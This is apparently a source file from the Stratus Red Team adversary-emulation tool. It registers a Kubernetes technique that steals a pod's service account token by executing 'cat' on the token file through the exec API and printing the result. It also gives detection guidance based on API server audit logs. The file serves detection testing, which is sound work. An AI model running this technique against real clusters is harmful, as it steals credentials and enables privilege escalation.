-
Notifications
You must be signed in to change notification settings - Fork 200
/
main.go
149 lines (127 loc) · 4.56 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
package kubernetes
import (
_ "embed"
"errors"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"github.com/golang-jwt/jwt"
v1 "k8s.io/api/core/v1"
"k8s.io/client-go/kubernetes/scheme"
"k8s.io/client-go/tools/remotecommand"
"log"
"strings"
)
//go:embed main.tf
var tf []byte
//go:embed sample.pub
var randomPublicKey []byte
const file = "/var/run/secrets/kubernetes.io/serviceaccount/token"
const command = "cat " + file
var execOptions = v1.PodExecOptions{
Command: strings.Split(command, " "),
Stdout: true,
}
func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "k8s.credential-access.steal-serviceaccount-token",
FriendlyName: "Steal Pod Service Account Token",
Platform: stratus.Kubernetes,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.CredentialAccess},
Description: `
Steals a service account token from a running pod, by executing a command in the pod and reading ` + file + `
Warm-up:
- Create the Stratus Red Team namespace
- Create a Service Account
- Create a Pod running under this service account
Detonation:
- Execute <code>` + command + `</code> into the pod to steal its service account token
`,
Detection: `
Using Kubernetes API server audit logs, looking for execution events.
Sample event (shortened):
` + codeBlock + `json hl_lines="3 4 11 12 15"
{
"objectRef": {
"resource": "pods",
"subresource": "exec",
"name": "stratus-red-team-sample-pod",
},
"http": {
"url_details": {
"path": "/api/v1/namespaces/stratus-red-team-ubdaslyp/pods/stratus-red-team-sample-pod/exec",
"queryString": {
"command": "%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken",
"stdout": "true"
}
},
"method": "create"
},
"stage": "ResponseStarted",
"kind": "Event",
"level": "RequestResponse",
"requestURI": "/api/v1/namespaces/stratus-red-team-ubdaslyp/pods/stratus-red-team-sample-pod/exec?command=cat&command=%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken&stdout=true",
}
` + codeBlock + `
`,
PrerequisitesTerraformCode: tf,
Detonate: detonate,
})
}
func detonate(params map[string]string, providers stratus.CloudProviders) error {
config := providers.K8s().GetRestConfig()
client := providers.K8s().GetClient()
namespace := params["namespace"]
podName := params["pod_name"]
log.Println("Stealing service account token from pod " + podName + " in namespace " + namespace)
log.Println("Running " + command)
req := client.CoreV1().RESTClient().Post().Namespace(namespace).Resource("pods").Name(podName).SubResource("exec")
req.VersionedParams(&execOptions, scheme.ParameterCodec)
exec, err := remotecommand.NewSPDYExecutor(config, "POST", req.URL())
if err != nil {
return errors.New("unable to execute command in pod: " + err.Error())
}
stdout := new(strings.Builder)
err = exec.Stream(remotecommand.StreamOptions{Stdout: stdout})
if err != nil {
return errors.New("unable to execute command in pod: " + err.Error())
}
log.Println("Successfully executed command inside pod to steal its service account token")
serviceAccountToken := strings.TrimSpace(stdout.String())
log.Println(serviceAccountToken)
if !isValidServiceAccountToken(serviceAccountToken) {
return errors.New("stolen service account token is not a valid JWT")
}
return nil
}
// Determines if a string is a correctly-formatted K8s service account token (JWT) with a "sub" claim
// Does not check the validity of a JWT
func isValidServiceAccountToken(candidate string) bool {
token, err := jwt.Parse(candidate, func(token *jwt.Token) (interface{}, error) {
// Note: We could use any key in here, we use a random one from https://github.com/dgrijalva/jwt-go/blob/master/test/sample_key.pub
// We don't want to verify the validity of the JWT, just ensure it's a well-formatted one
return jwt.ParseRSAPublicKeyFromPEM(randomPublicKey)
})
if err != nil {
// Parsing or verification failed
if validationError, ok := err.(*jwt.ValidationError); ok {
// Return true if the error is anything else than a "JWT malformed" error
// Here the error can be "invalid signature", which is expected
return validationError.Errors&jwt.ValidationErrorMalformed == 0
} else {
return false
}
}
// Ensure the JWT has the 'sub' claim we expect in a K8s JWT
claims, ok := token.Claims.(jwt.MapClaims)
if !ok {
return false
}
subjectClaim, ok := claims["sub"]
if !ok {
return false
}
_, ok = subjectClaim.(string)
return ok
}